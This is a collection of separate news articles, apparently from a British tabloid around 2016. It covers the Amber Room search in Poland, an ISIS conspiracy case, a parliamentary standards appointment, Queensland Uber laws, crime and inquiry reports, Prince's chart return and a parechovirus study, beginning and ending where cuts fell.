But now, bosses at the Mamerki museum near Wegorzewo, north east Poland, say it may have been hidden behind a false wall that was sealed shut inside an old wartime bunker  after finding an unknown room measuring 6.5ft wide and 10ft long using geo-radar.

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Treasure: The Amber Room (pictured in 1932) was located in Catherine Palace near St Petersburg before the Nazis seized control of the area and looted it. It took them 36 hours to dismantle it

Gift: The room was built for Russian tsar Peter the Great in the 1700s and was packed with amber, gold and precious jewels. It was a gift from Friedrich-Wilhelm I of Prussia

Second World War: The museum site used to be the eastern headquarters of the German Army. Mamerki museum bosses say the Amber Room may have been hidden behind a false wall that was sealed shut inside an old wartime bunker

Evidence: Pictured is the geo-radar reading the museum claims shows the existence of the hidden bunker. A former Nazi guard said that in the winter of 1944 he saw heavily-guarded trucks driving up to the bunker and unloading a large cargo

Bartlomiej Plebanczyk from the museum told MailOnline: We think there is a very good chance that the Amber Room is here for a number of reasons.

'Of course there were no such devices as ground-penetrating radar in the 1950s, so examining and finding hidden spaces wasn't possible.

'Inside may be elements of the Amber Chamber, but also other looted art. But there is no doubt that the room was created specifically for the purpose of treasure.'

The suspicion that it could contain parts of the Amber Room is partly based on a testimony of a former Nazi guard.

In the 1950s he told a Polish bomb squad unit that in the winter of 1944 he saw heavily-guarded trucks driving up to the bunker and unloading a large cargo.

After the trucks had been emptied, the room they had been placed in was sealed. It is thought parts of the Amber Room were stored in the bunker complex for later transportation.

Throughout the the next two decades, Polish bomb squads searched the bunkers for evidence of the hidden room, but failed to find anything.

The Amber Room was originally supposed to have been an amber cabinet  a gift from Friedrich-Wilhelm I of Prussia to Peter the Great.

But instead, it was decided to use the panels as wall coverings, surrounding them with gilded carving, mirrors and yet more amber panels.

Lost: The room's whereabouts remains one of the Second World War's greatest mysteries. However, officials in Poland believe they have found it behind a false wall that was sealed shut inside an old wartime bunker

Looted: Catherine Palace in Russia pictured after it was taken over by the Nazis. The Amber Room (not pictured) was dismantled

Missing: The Amber Room was completed at Catherine Palace in 1770, but was stolen by the Nazis in 1941. It was taken to Koenigsberg Castle, in what was then in East Prussia, but disappeared in January 1945. The castle is now found in the city of Kaliningrad. It is believed the Nazis' chief administrator in East Prussia, Erich Koch, transported the Amber Room from the city of Koenigsberg (now Kaliningrad) to Wuppertal in west Germany. However, Mamerki museum staff say they have found a hidden, walled off room which they believe could contain the remains of the Amber Room

In total, the room contained 450kg of amber and was finally completed in 1770.

The Nazis dismantled the room at Catherine Palace, near St Petersburg, when they arrived at the palace in October 1941.

The Russians had tried to conceal the grand room by covering it in wallpaper, but their plan was foiled.

The precious contents were then taken by the Germans by rail to Koenigsberg Castle, in what was then East Prussia. Now, the castle is found in the city of Kaliningrad.

But it disappeared in January 1945, after air raids and a savage ground assault on the city.

While some claimed it had been destroyed in the raids, others reported seeing 40 wagons moving away from the castle under a cloak of secrecy after the city fell to the Red Army.

In the 1950s, Erich Koch, the Nazis' chief administrator in East Prussia who is believed to have overseen the Amber Room's transportation from the city of Koenigsberg to Wuppertal in Germany, was taken from prison to the museum site to show Polish officials where the room was.

Discovery: Bosses at the Mamerki museum in Poland have found an unknown room measuring 6.5ft wide and 10ft long using geo-radar

Found? Bartlomiej Plebanczyk from the museum told MailOnline: We think there is a very good chance that the Amber Room is here'

However he was unable to identify the location.

In the 1960s, Koch was driven from prison to Bunker 31 and they tried to find it, Mr Plebanczyk said. But they didnt know the exact location, and he couldnt specify where it was. But he was the last person to see the Amber Room in Koenigsberg.

Historians agree that Mamerki is the logical place to look as transporting it from Koenigsberg, they would have to come here and this place is perfect because it was heavily guarded.

Bunker 31 hadnt been completed so they could hide it there and then pretend building was still going on.

Mr Plebanczyk said they now planned to drill a hole through one of the walls and insert a camera to see what is inside.

'Only when the footage confirms that the inside has actual historical content can we make an informed decision about the artefacts,' he said.

Asked why he was making the news public now, given that the radar readings were taken in September, he said: First we wanted to be sure that the information from the radar was correct.

Grand: Catherine Palace (pictured), where the Amber Room was located, was a lavish residence frequented by the Russian tsars near St Petersburg, which was besieged by the Germans during the Second World War

Replica: Pictured is a reconstructed version of the Amber Room which was built at the palace. It took more than 20 years and cost more than $12million

Replacement: Visitors to Catherine Palace, near St Petersburg, can now see the grand room for themselves.

So we consulted a number of experts to verify it. We then had to go through the legal channels to declare it, and that takes a long time.'

He said he thinks they can start digging for the Amber Room in between four to eight weeks.

The site used to be the eastern headquarters of the German Army and close Hitlers infamous Wolf's Lair - his first Eastern Front military headquarters.

In 1982, the Russians began building a replica of the Amber Room.

It took more than 20 years and cost more than $12million, but visitors to Catherine Palace, near St Petersburg, can now see the grand room for themselves.

HOW AN AMBER CABINET BECAME THE AMBER ROOM The Amber Room was a gift from Friedrich-Wilhelm I of Prussia to Peter the Great (pictured) The Amber Room was originally supposed to have been an amber cabinet, a gift from Friedrich-Wilhelm I of Prussia to Peter the Great, who admired the work on a visit to his castle in 1716. But instead of a cabinet, it was decided to use the panels as wall coverings, surrounding them with gilded carving, mirrors and yet more amber panels. In total, the room used 450kg of amber, and was finally completed in 1770. Russians tried to hide the walls behind wallpaper. But the Nazis knew what was behind the mundane covering, and went about dismantling the room - a process which took 36 hours. They believed, as a Prussian gift, it belonged to them. But the room, taken back to the castle where it had originally been created for Friedrich-Wilhelm, was never seen again after 1945. Some claimed it had been destroyed in the bombings, but others say the panels were spirited away by the Nazis keen to keep hold of their loot. Sources: Catherine Palace and the Smithsonian Advertisement




Guled Ali Omar, 21, (pictured) allegedly wanted to build a route from Syria into the U.S. through Mexico

One of four Minnesota men who is charged with conspiring to join ISIS wanted to build a route from Syria to the U.S. through Mexico, according to prosecutors.

Prosecutors said defendant, Guled Ali Omar, talked about establishing a route from the U.S. to Syria through Mexico.

He would then tell ISIS about the route so it could be used to send fighters into America to carry out attacks.

Some of the men, who face trial next month for conspiring to join ISIS, discussed the possibility of attacks within the U.S., according to a document filed by prosecutors.

The document, filed Wednesday, is one of many filed in recent weeks as prosecutors and defense attorneys argue about which evidence should be allowed at the men's trial, which starts May 9.

The men  Omar, 21; Hamza Naj Ahmed, 21; Mohamed Abdihamid Farah, 22; and Abdirahman Yasin Daud, 22  have pleaded not guilty to multiple charges.

They are accused of conspiracy to commit murder outside the U.S.

Prosecutors have said they were part of a group of friends in Minnesota's Somali community who held secret meetings and plotted to join the Islamic State group.

Five other men have pleaded guilty to one count each of conspiracy to support a foreign terrorist organization.

A tenth man charged in the case is at-large, believed to be in Syria.

Prosecutors claim Omar wanted to alert ISIS to the route from Mexico to the U.S. so the Islamic State could carry out attacks on U.S. soil

The government's document was filed in response to a defense request that prosecutors be barred from introducing evidence about possible attacks in the U.S.

Last week, Daud's attorney wrote that, absent any specific evidence that his client threatened the U.S., any references to discussions about attacks would be prejudicial.

To permit such references, as well as references to the 9/11 attacks or exhibits that show violent images of war crimes, 'would cause the jurors to decide out of fear and contempt alone,' defense attorney Bruce Nestor wrote.

But prosecutors said audio recordings obtained during the investigation show the defendants spoke multiple times about the possibility of attacks in the U.S.

Among them, Omar spoke of establishing a route for fighters, Farah spoke of killing an FBI agent and another man who pleaded guilty talked about shooting a homemade rocket at an airplane.

Adnan Abdihamid Farah, 22, (left) and Abdirahman Yasin Daud, 22, (right) are charged with conspiracy to commit murder outside the U.S.

Prosecutors wrote that they should be allowed to 'play for the jury the defendants' own words, in which they discuss the possibility of returning to attack the United States.'

They also said the defendants watched videos and gruesome images, which they also want to play for the jury, and that a blanket ban on mentioning the 2001 attacks is inappropriate, noting that Omar had pictures of the burning World Trade Center towers and Osama bin Laden on his cellphone.

A phone message left with Omar's attorney wasn't immediately returned.
A former sales assistant at Argos is to sit in judgement on MPs accused of breaking parliamentary rules.

Charmaine Burton has been nominated for a 300-a-day role as lay member of the Commons Standards Committee, which considers complaints about politicians' conduct.

Previously all the 'ordinary' representatives on the cross-party watchdog have had solidly establishment backgrounds, serving on a host of other regulators and quangos.

But Ms Burton - who was chosen after a 38,000 recruitment exercise - was working as a sales assistant at the high street retailer until December.

Charmaine Burton, left, has been nominated to serve as a lay member on the House of Commons Standards Committee

Currently she is a self-employed consultant, sits on the 'Birmingham Night Time Economy Forum', and presents a political affairs show on a community radio station.

The nomination comes as the House struggles to restore trust with the public after a slew of controversies.

Many MPs believe parliament has never recovered from the expenses scandal that erupted in 2009.

Some have complained that their constituents are still hostile and regard Westminster as a swear word.

Two MPs who sit on the standards committee - chairman Sir Kevin Barron and the SNP's Tommy Sheppard - are currently under investigation themselves for alleged rule breaches.

Lay members were first drafted on to the watchdog in December 2012 in an effort to counter criticism that MPs were able to 'mark their own homework' by deciding whether colleagues had broken conduct rules.

Last March the House agreed that the number should be increased to seven - meaning that there are equal numbers with MPs on the committee.

Commons Speaker John Bercow chairs the Commons Commission, which has nominated Ms Burton for the post

They are not technically able to vote on reports produced by standards commissioner Kathryn Hudson into the conduct of politicians, due to concerns about breaching the principle of parliamentary privilege.

But the lay members do have the 'nuclear option' of publishing a dissenting opinion.

Ms Burton is among four new recruits nominated by the ruling Commons Commission, chaired by Speaker John Bercow. The House is expected to rubber-stamp the appointments shortly.

According to the CV published by the commission, since January Ms Burton has been self-employed running the Positive Partnerships Live consultancy.

She also declares that she is a member of the Birmingham Night Time Economy Forum and executive producer/presenter of the Different Anglez show on the community radio station New Style.

Among her previous roles she lists 'sales assistant - Argos' between March and December last year, and a 'placement' at BBC West Midlands in 2014.

Ms Burtons main contact with Westminster politics up to now seems to have come in 2010, when she did a four-month placement in the office of Tory MP Caroline Spelman.

At the time Ms Burton was studying for her BSc in Society and Government at Aston University.

Ms Burton declined to comment before her four-year appointment is formally confirmed.

The commission was acting on the recommendation of a selection panel headed by Sir Kevin.

It has also proposed Jane Burgess, board director at John Lewis Partnership, Dr Arun Midha, who has been a lay member on the Bar Standards Board since 2009, and Sir Peter Rubin, chair of the Board for Academic Medicine in Scotland.

The commission's report said: 'Together they represent a combination of experience and qualities which should increase public confidence in the robustness and independence of the Houses disciplinary processes.'
A 'poignant' photograph showing an officer bending over the corpse of a 'police squirrel' has gone viral.

The image, which was uploaded to Twitter earlier this week, marks the death of the squirrel who was often seen outside the Omaha Police Department headquarters in Nebraska.

The animal, who had his own Twitter account, was a favourite of police who worked at the station and they regularly offered him granola bars and sunflower seeds.

A 'poignant' photograph showing an officer bending over the corpse of a 'police squirrel' has gone viral

The image, which was uploaded to Twitter earlier this week, marks the death of the squirrel who was often seen outside the Omaha Police Department headquarters in Nebraska. The force also released a statement

News of the death emerged on social media after Officer Mike Bossman wrote: 'We are sad to announce that @OpdSquirrel has been found dead in the parking lot. We are not investigating.' The statement was also put out by the force's official Twitter account.

A photograph, which appears to show one officer kneeling on the floor with his head in his hands next to the animal in a mock 'sad' pose, was posted on Twitter later that day 'in reaction' to the news.

The image was posted by a man believed to be an officer in the force in reply to the statement.

Fans of the squirrel reacted in mock shock, with users offering their condolences and thoughts to the force.

The animal, who had his own Twitter account, was a favourite of police who worked at the station and they regularly offered him granola bars and sunflower seeds (left). The police joked and treated where they found the squirrel like a 'crime scene' (right)

The squirrel's Twitter account has remained active with his 350 followers treated to follow-up tweets from 'friends and family'.

One user, known as Jeff P, added: 'RIP little buddy. Go nibble on that great nut in the sky.'

Another called Bart wrote: 'My condolences on your loss. This is a devastating blow.'

And Eric Schumacher said: 'Please pray for Nebraska. The @OPDSquirrel has died.'

The squirrel's Twitter account has remained active with his 350 followers treated to follow-up tweets from 'friends and family'.

They included one from 'Mrs OPDSquirrel', who thanked everyone for their kind words and said: 'He will be sorely missed by our 35 children and I.'
Queensland's controversial Uber law amendment briefly made buses, limousines, ComCars and shuttle services illegal on Thursday.

But the ride-sharing services can now operate legally in the state after a tumultuous parliamentary debate that included Katter Party amendments that had the 'unintended consequence' that made all passenger services except taxis illegal,The Brisbane Times reports.

The mix-up occurred a day after major parties Labor and the LNP both voted in favor of penalties for Uber drivers rather than a Katter Party proposal to hit drivers with demerit points.

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Harsher penalties were passed by the Queensland Parliament on Uber

But changes the LNP made to the legislation meant all 'pre-booked passenger services' except taxis could be considered illegal. This would include charter buses and limousines.

Transport Minister Stirling Hinchliffe said he had stepped in to ensure non-Uber passenger services were not affected.

'I instructed the Director-General of the Department of Transport and Main Roads to take all steps necessary to ensure that these unintended consequences caused by the LNP do not impact our communities,' Mr Hinchliffe said.

The Brisbane Times reports that Queensland MPs received more than 8,500 emails from Uber supporters after a bill by the Katter Australian Party to have the ride-sharing service banned with severe penalties for drivers was revealed.

On Wednesday, Labor and the LNP voted to increase the fines for both Uber and the driver, and introduced changes to make it easier for Transport Inspectors to fine those working for ride-sharing services. They opted for this rather than support the Katter Party suggestion of demerit points.

The Katter Australian Party put through its private member's bill for Uber drivers to lose demerit points each time they are caught driving for the company, and loss of licence after receiving three fines.

However, a parliamentary review committee examining current regulations for ride-sharing services including Uber did not let the legislation pass.

While its review into ride-sharing in Queensland is underway, members of the parliamentary committee have asked the government to forcibly crack down on Uber. But the review is not due to return until August.

Robbie Katter of KAP, son of party leader Bob Katter, said Queensland taxi owners and drivers were counting on the parliament to make the right decision and support them,The Brisbane Times reports.

Bob Katter (left) has put through a private member's bill aiming for Uber drivers to lose demerit points each time they are caught driving for the company

The Katter party says the bill is 'about sending a message to Queenslanders'
A Brothers 4 Life gang member who claims 'every girl in Australia loves me' was this week found guilty by a jury of his involvement in a 2013 shooting of a fellow member.

Michael Odisho, 29, was accused of loading the gun used to kneecap a fellow gang member in 2013. The victim became a police informant to help secure the conviction of his attackers.

In an interview given to ABC's 7.30 while he was awaiting the outcome of his trial the 29-year-old said he was actually a good guy.

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Michael Odisho, 29, has been found guilty of a shooting during a trial which revealed details about the notorious Sydney gang Brothers 4 Life

'We trust in God but just in case keep one loaded', reads a tattoo on the 29-year-old's neck

'I'm a very nice bloke.

'Every single girl in Australia loves me, the whole community loves me, but then again, if you go Google me and check me out, you'll think, "far out, this guy's a monster".'

Odisho had until this week beaten every serious charge ever brought against him by police, but said this doesn't deter authorities from keeping an extremely close eye on him.

'They come knocking about four times a day, sometimes, I get pulled over about two, three, times a day, I get raided, I don't know once every three weeks,' he said in the interview aired on Thursday.

'I see the police more than I see my mum.

Odisho first came to authorities attention in 2009, after being named by the coroner as a person of interest in a 2005 cafe shooting that killed a man.

No one was ever charged over the shooting which saw three masked men spray a south-west Sydney cafe with bullets killing bystander Ramon Khananyah, 29 and injuring many more.

Odisho (left) first came to authorities attention in 2009, after being named by the coroner as a person of interest in a 2005 cafe shooting

He is covered in tattoos of guns but wryly told ABC's 7.30: 'Nah, never seen a gun'

Odisho is pictured here during a police interview telling officers he 'knows' the Brothers 4 Life members but is not one of the ganng

More recently Odisho was embroiled in the shooting of another Brothers 4 Life member in the legs, who was accused by the gang of snorting cocaine he was supposed to be selling.

The victim limped into Bankstown Hospital after the attack and two bullet casings were found in the bin outside, linking Odisha to the case.

The victim then agreed to be a police informant and his information led to the arrest of the shooter and Odisha.

The shooter was himself a violent criminal linked to a number of gun crimes, and was granted indemnity in exchange for giving information on Odisha and other gang members.

Also in 2013 the now 29-year-old was himself gunned down, in front of his mother at his home in Winston Hills in Sydney's west.

Pictured is the victim of a shooting Odisha has been found guilty in by a jury of limping in to Bankstown Hospital in 2013 after being kneecapped

Odisho has 'MEOC' tattooed across his knuckles, an acronym for the Middle Eastern Organised Crime Squad

The 29-year-old was shot at his home in Winston Hills (pictured) in 2013 in front of his mother

'Bup bup, I was just laying there on the concrete, and the blood was rising, and that's when I thought I died,' Odisha told 7.30.

'Honestly if someone comes and shoots my mum in the head in front of me I still won't help the police.

'I should have just taken my own advice and trusted in God but kept strapped', he said referring a tattoo on his neck.

'We trust in God but just in case, keep one loaded', the ink reads.

More tattoos across his knuckles read 'MEOC' - the acronym for the Middle Eastern Organised Crime Squad - and one his other hand Odisho has 'POI' - Person Of Interest inked on his fingers.
Police were 'delayed and ineffective' in their response to a domestic violence incident that ended in the death of a 10-month-old baby after he was abducted and raped by his mother's partner for 15 hours.

A Corruption and Crime Commission report into Charlie Derschow-Mullaley's abduction by Mervyn Kenneth Douglas Bell from a Broome home back in March 2013 found 'vital information was not sought, obtained, recorded or passed on by police officers'.

Bell was sentenced to a minimum of 27 years for the death of baby Charlie in 2014 but took his own life the following year in prison.

A inquiry into Charlie Derschow-Mullaley's abduction by Mervyn Kenneth Douglas Bell from a Broome home back in March 2013 found 'vital information' had not been sought and passed on

The report said its purpose was not to place blame on anyone but to improve police response to domestic violence.

'Whether a more rapid response may have saved Charlie is impossible to know but it is important to recognise that Bell alone was responsible for Charlie's fate,' it said.

The report also said Western Australia Police had 'good policies for domestic violence' but a policy was 'only good when followed'.

'Decisions regarding action to be taken were made without regard to key pieces of information which meant that the search for Charlie did not begin in earnest until several hours after his disappearance was reported,' it said.

Bell (above) was sentenced to a minimum of 27 years for the death of baby Charlie in 2014 but took his own life the following year in prison

The report said its purpose was not to place blame on anyone for Charlie's death but to improve police response to domestic violence

Without key information, the search for him did not start hours after his disappearance was reported

'Failures by individual officers on the night do not justify an opinion of serious misconduct.

'Collectively though they contributed to a delayed and ineffective response.'

The night before he took Charlie, Bell had assaulted his partner, Tamica Mullaley, and dumped her on the ground in a bloody mess after stripping her naked, The West Australian reported.

He was sentenced to a further four years and 10 months for the grievous bodily harm of Ms Mullaley.

She suffered severe bruising to her face, back and stomach, a laceration to her kidney and a badly bruised spleen.

When paramedics were tending to Ms Mullaley by police, Bell convinced a neighbour to hand over Charlie to him.

Bell took Charlie as payback to his partner for humiliating him after an argument about alleged infidelities, so he took the baby and drove almost 1,000 kilometres on a very hot day. Above is a court sketch of Bell

Bell wanted payback for Charlie's mother humiliating him after an argument about alleged infidelities, so he took Charlie and drove almost 1,000 kilometres on a very hot day.

After abusing the baby for about 15 hours inflicting broken bones, burns and bruises, Bell took the boy to the Fortescue Roadhouse near Karratha, 800km south of Broome, but Charlie died.

The baby boy's aunt, Kathleen Pinkerton told The West Australian the report drew attention to how police had mishandled Charlie's death.

'[Charlie's grandfather] told them that Charlie was at risk but, as the CCC report states, he was not taken seriously and we have lost our beautiful baby boy,' Ms Pinkerton said.

In a previous victim impact statement, Ms Mullaley told of her agony and how she felt powerless when she learnt what had happened to her son.

'I felt sick. How could someone do this to a child?' she said.
Police said 'there was no deliberate plan' for her to harm her

Christine Thi Woo, the 'overwhelmed' mother who was found dead inside her SUV with her three children in the parking lot of a Target last month, committed suicide by overdose, according to an autopsy.

The 39-year-old had been missing for three days before she was found inside her vehicle.Before she vanished she bought sleeping pills as one of her last acts from a local Walgreens near her home.

Her three children Lauren, five, three-year-old Nathan and 16-month-old Leah, were found alive, but severely dehydrated with her in the SUV.

The Collin County medical examiner concluded that Woo committed suicide by overdose, according to WFAA .

Frisco Police said in a statement that 'there was no deliberate plan by Woo to harm her three children'.

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Christine Thi Woo (left), the mother who was found dead inside her SUV in the parking lot of a Target with her three small children last month, committed suicide by overdose, according to an autopsy. Her children (right) Lauren Woo, 5, Nathan Woo, 3, and Leah Woo, 1, were found alive by her side

Frisco Police said in a statement that 'there was no deliberate plan by Woo (left and right) to harm her three children' (pictured)

Woo was found dead three days after she disappeared in the parking lot of a SuperTarget (pictured)

She bought the tablets from a Walgreens near her home, then visited a McDonald's with her children. She was not seen again until her body was found in a parking lot across the road from the McDonald's.

Her husband Brandon Woo described her as a 'rock' and a 'lioness'. But locals who knew the woman say she seemed 'overwhelmed' and 'depressed'.

Quynh Chau, who runs a nonprofit called The Source of Hope, told WFAA 8 that Christine Woo had recently contacted her and seemed depressed. She said the mother had promised to attend an event to help the homeless but didn't show up.

'She cried out to us and I could hear that in the sense of her voice,' Chau told News 8 hours before her SUV was found. 'I wish so much that I could do something to reach out to her.'

And an employee of Frisco music school 7 Notes told The Dallas Morning News that she seemed 'overwhelmed'.

The Woos took their kids to 7 Notes each Saturday, where Christine would take Lauren for piano lessons while Brandon would accompany Nathan and Leah to baby and toddler classes.

'She just loved her kids,' 7 Notes director Eileen Tan said. 'The whole family was into it.'

Tan described Christine Woo's enthusiasm for Lauren's piano lessons as 'gung ho' in an interview with CBS DFW Friday.

But Tan's executive assistant, Charde Carbonell, said that Christine Woo's enthusiasm had waned dramatically since the kids enrolled in December.

She said the mom had talked to her on the phone for weeks gathering information before enrolling the children, but the parents' visits became inconsistent, and they would ask to 'take a break' or skip lessons.

'She seemed overwhelmed,' Carbonell said.

Model mom Woo bought sleeping pills from this Walgreens store prior to her disappearance

Husband Brandon Woo described his wife as a 'rock' and a 'lioness' who was protective of her children. He also said she was 'the most stable person you could ever meet'

The SUV (pictured) in which Woo was discovered with her children

As well as being dehydrated, all three children also had rashes from sitting in their own waste. Leah was in critical condition

But husband Brandon Woo, told CBS DFW while his wife was still missing, that there were no problems with their marriage and that she had no reason to run away from home.

'She's a loving mother, a great wife. She's the most stable person you could ever meet,' he said.

He also told WFAA: 'She's like a lioness, she would fight for her kids, she would never hurt her kids at all.'

And in another conversation with the station, he said: 'She's the rock of the family. She's the most level head. I'm the one who gets emotional, always worried about finances or this and that. She's the one that says, "We'll figure it out.'''

He told WFAA that Christine had left the house secured, without packing suitcases or even taking a bottle for their baby. 'She had every reason to come home,' he told the station.

Local parents held a candlelight vigil for Woo at Warren Park after finding out about her death.

Organized by Frisco Mom's Care, the vigil saw several dozen parents holding candles, singing songs and saying prayers for the deceased mother.

Many there had not met Woo, but felt moved by her story.

'It touched our hearts, she's a mother just like we are. We just wanted to be able to show support and say a prayer for her children,' Ariana Trimmer of Frisco Mom's Care told CBS.

'I think every mother, every parent that has heard of the story has played out in their imagination what happened in that car,' said Cate Biggs, also of Frisco Mom's Care.

'If there's a mother out there that is having a hard time she needs to know that this is a community supports her.'

Parents held a vigil for Woo at Warren Park, praying, singing and lighting candles after finding out about her death

'It touched our hearts, she's a mother just like we are. We just wanted to be able to show support and say a prayer for her children,' Ariana Trimmer of vigil organizers Frisco Mom's Care told CBS

Christine Thi Woo's body was found in her SUV in the parking lot of a SuperTarget department store in the Dallas suburb of McKinney about 6.30pm on Thursday.

Her three children were 'extremely dehydrated' and suffering rashes caused by sitting in their own waste, according to CBS.

The station also said one-year-old Leah was in critical condition. All three were taken to the Children's Medical Center in Plano.

When Brandon Woo had reported his wife and children missing he had received text messages saying that Christine Woo had used her credit card at a Walgreens near her home.

She was also seen on security footage at Walgreen's, and she and her children were later spotted on video at a McDonald's just across the road from the lot where her body was found.

Police said earlier in the week that the family does not have a history of problems nor did Woo have any known medical or mental issues.

Woo and her children were seen in surveillance at a Walgreens near her home. They were later spotted on surveillance video (pictured) at a McDonald's across the road from where her body was found

The Dallas Morning News spoke to friends and neighbors of the family, who said Brandon Woo is a quiet man and the 'breadwinner' of the home.

Conversely, Christine Woo was described as an outgoing woman who would help out people in the community, and had recently started attending a women's Bible study at Stonebriar Community Church.

'She was a very lovely person and a sweet soul,' Elle Bonner, who lives next door to the family, told the paper.

The couple were also actively involved in the local community, their former neighbors in San Antonio told The San Antonio Express-News.

'We were all surprised to hear about it,' said Ruben Gutierrez, who lives in the cul-de-sac where the Woos lived until 2014. 'They always seemed to be happy.'

The Dallas News reported that Christine Woo, nee Nguyen, was a Vietnamese-American from San Antonio who graduated from Texas A&M University in 1999 with a business degree.

She was born in Seguin, Texas, and Brandon was born in Hong Kong, The San Antonio Express-News said.
Prince is back on the top of the charts after his death Thursday at age 57

Prince's fans reacted to the news of his untimely death by downloading his music, sending his old hits back to their former spots on the top of the lists.

Hours after his passing was revealed, the top eight spots on the iTunes singles chart were occupied by Prince's songs: 'Purple Rain,' 'Little Red Corvette,' 'When Doves Cry,' 'Kiss,' 'Let's Go Crazy,' '1999,' 'I Would Die 4 U,' and 'Raspberry Beret.'

Among the 10 top-selling albums, Prince had seven: 'The Very Best of Prince,' 'Purple Rain,' 'The Hits / The B-Sides,' '1999,' 'Sign O' the Times,' 'Ultimate: Prince,' and his self-titled 1978 album all charted as of Thursday evening, according to Music Chart Feeds.

The multi-talented musician was opposed to online streaming and took steps last summer to remove his works from Spotify and other services, but allowed his songs to remain on Tidal.

His latest album, 'HITNRUN Phase Two,' is available to stream on Apple Music.

Prince Rogers Nelson was found dead Thursday morning at his compound in suburban Minneapolis, Paisley Park, which served as the artist's music studio. He was 57.

The cause of death is still unknown, but the superstar was reported to have fallen sick with the flu last week.

Fans and mourners place flowers on a fence outside Prince's studio Paisley Park where the musician died on Thursday

The 'Purple Rain' star sold over 100 million albums before his death at 57. Pictured at a concert in California in 1985

On Friday, Prince's private plane made an emergency landing in Illinois so he could be rushed to hospital because of his flu symptoms, but was released three hours later and made an appearance at a party at Paisley Park the next day, telling fans to 'wait a few days before you waste any prayers'.
A tourist accused of becoming violent because he couldn't do yoga on a plane pleaded guilty Thursday to interfering with a flight crew.

As part of a plea deal, Hyongtae Pae is expected to be sentenced to time served, which was about 12 days, and to pay about $43,600 in restitution to United Airlines.

Pae was headed home to South Korea after a Hawaii vacation to celebrate his 40th wedding anniversary when his actions last month forced the pilot to turn the Tokyo-bound plane around.

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Not very zen! Hyongtae Pae stands outside the federal courthouse in Honolulu on Thursday, April 21, 2016, after pleading guilty to interfering with a flight crew when he refused to stop doing yoga

According to court records, he didn't want to sit in his seat during the meal service, so he went to the back of the plane to do yoga and meditate. Authorities say he refused to return to his seat, threatened crew members and passengers and shoved his wife.

Through an interpreter, Pae told the judge in Korean he acknowledges he 'caused others to become fearful' and that 'it is correct that they were trying to subdue me and I resisted.'

Pae tried to bite and head-butt two U.S. military members who were passengers on the flight trying to restrain him, said Assistant U.S. Attorney Darren Ching.

Pay up: As part of a plea deal, Hyongtae Pae is expected to be sentenced to time served, which was about 12 days, and to pay about $43,600 in restitution to United Airlines

He hadn't been able to sleep in 11 days and felt 'excited,' Pae told authorities after he was arrested.

U.S. Magistrate Judge Kevin Chang previously allowed Pae to be released, but prevented him from returning home.

On Thursday, Pae's attorney, Jin Tae 'JT' Kim, asked the judge to revoke the release so that Pae can return to the Honolulu Federal Detention Center.

Pae has run out of money to continue staying in Honolulu and can't afford to see a doctor to refill medication, which is running out, Kim explained.

Chang denied the request and asked that Pae work with court officials to figure out an alternative to incarceration.

Sentencing is scheduled for July 28, but officials are working to expedite the hearing so that Pae can return home sooner.
An alarming number of babies diagnosed with parechovirus went on to show signs of developmental problems and brain damage, a new study has found.

President of the Australasian Society of Infectious Diseases, Professor Cheryl Jones, told the ABC the study has provided an insight into how the virus needs to be monitored.

'What this tells us is that this virus is not a simple virus that babies get over, and these children need to be followed up,' she said.

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A new study has revealed long term side effects of parechovirus like brain damage and developmental issues (stock image)

The study found that 'more than half the babies who had parechovirus in 2013 and 2014, went on to have developmental problems 12 months later' the ABC said.

Researchers studied 80 babies a year after they were hospitalised with the virus and found they had significant developmental problems like speaking and problem-solving.

The virus can cause rashes, irritability, fever and diarrhoea - and in severe cases it can cause hepatitis or encephalitis.

Parechovirus is spread from person to person by direct contact with nose and throat discharges, including saliva or nasal mucus, sneezing and coughing, as well as faeces.

There is currently no specific treatment for the potentially fatal disease but doctors are trying to work on a vaccine.

The first reported case of parechovirus was recorded in Australia in December 2013, but the disease was not recognised until 2014 when a test was developed (stock image)

WHAT IS PARECHOVIRUS? It is a potentially fatal respiratory and gastrointestinal infection. Can cause rashes, irritability, fever and diarrhoea - and in severe cases hepatitis or encephalitis. Virus is spread from person to person by direct contact with nose and throat discharges. There is currently no specific treatment but doctors are working on a vaccine. Children under three are at most risk of developing severe disease. Advertisement

The respiratory and gastrointestinal infection parechovirus has swept through parts of Queensland, including Brisbane and the Gold Coast, leaving newborns with lethargy, diarrhoea, a temperature and a refusal to eat.

Last month, two infants from Toowoomba were almost killed by the virus and were left fighting for life in intensive care, with one even having her chest cut open and given painful spinal taps.

The virus initially broke out in Brisbane in September, but there have been reported cases on the Gold Coast, and in Toowoomba, Townsville, Mackay and Bundaberg, The Courier Mail reported.

Dr Theo Sloots said that more GP's need to be aware of the symptoms of parechovirus so they can immediately connect the symptoms (stock image)

The first reported case of parechovirus was recorded in Australia in December 2013 after 20 babies under 16 weeks were diagnosed in New South Wales, according to The ABC, but the disease was not formally recognised until 2014 when a test was developed.

According to infectious disease expert Dr Theo Sloots, many GPs are not yet familiar with the deadly virus and therefore do not immediately connect the symptoms to parechovirus.

'They just think it's an infection. Awareness needs to be raised among GPs,' Dr Sloots said.

'It's in the kids under three months that it causes severe disease and in a considerable number of those, it involves the central nervous system and they go into intensive care.'

There is still no vaccine or specific treatment for the virus which has become more prevalent in recent years

There were 172 reported cases of the contagious virus in Queensland in 2015 and 55 in the first two months of 2016.

In January, baby girl Tinley Beutel was rushed to Brisbane's Lady Cilento Children's Hospital where she was put on respiratory machine and was later diagnosed with parechovirus.

'I thought she was going to die, I didn't think she would make it. Her heart rate was all over the place, her blood pressure was dropping. They had to put her on life support to keep everything stable,' her mother Skye Browne told Daily Mail Australia.

Doctors initially thought Tinley had meningitis or a twisted bowl because of her symptoms, but she was diagnosed with parechovirus after five days in intensive care.

Baby boy Lincoln Elwell was diagnosed with the virus the same time as Tinley, just a few days after he was born.

'We were told a number of times he might not make it, that he might die,' Lincoln's mother, Zoe Elwell.

Doctors started doing tests before his heart rate shot up to 240 for six hours.

'His heart started to fail and he couldn't breathe. They had to put him on a machine otherwise he would have died,' Ms Elwell said.

Symptoms include rashes, irritability, fever and diarrhoea and it is contagious through bodily fluids (stock image)

The parents of both children are now urging others to be on the lookout for symptoms of the virus.

'When Tinley got sick she was presenting with windy pains, so I was trying to bring wind up. It wasn't until she became lethargic that I knew something was wrong,' Ms Browne said.

'If I had kept thinking it was wind she probably would have died because her heart rate was so high she would have had a heart attack.

'My advice to parents is that if their baby is at all not themselves - if they have temperatures, not feeding or irritable - I'd go straight to the doctor.'
The boss of the Commonwealth Bank has declared his company won't be embarrassed into paying compensation to undeserving customers who are being 'unreasonable'.

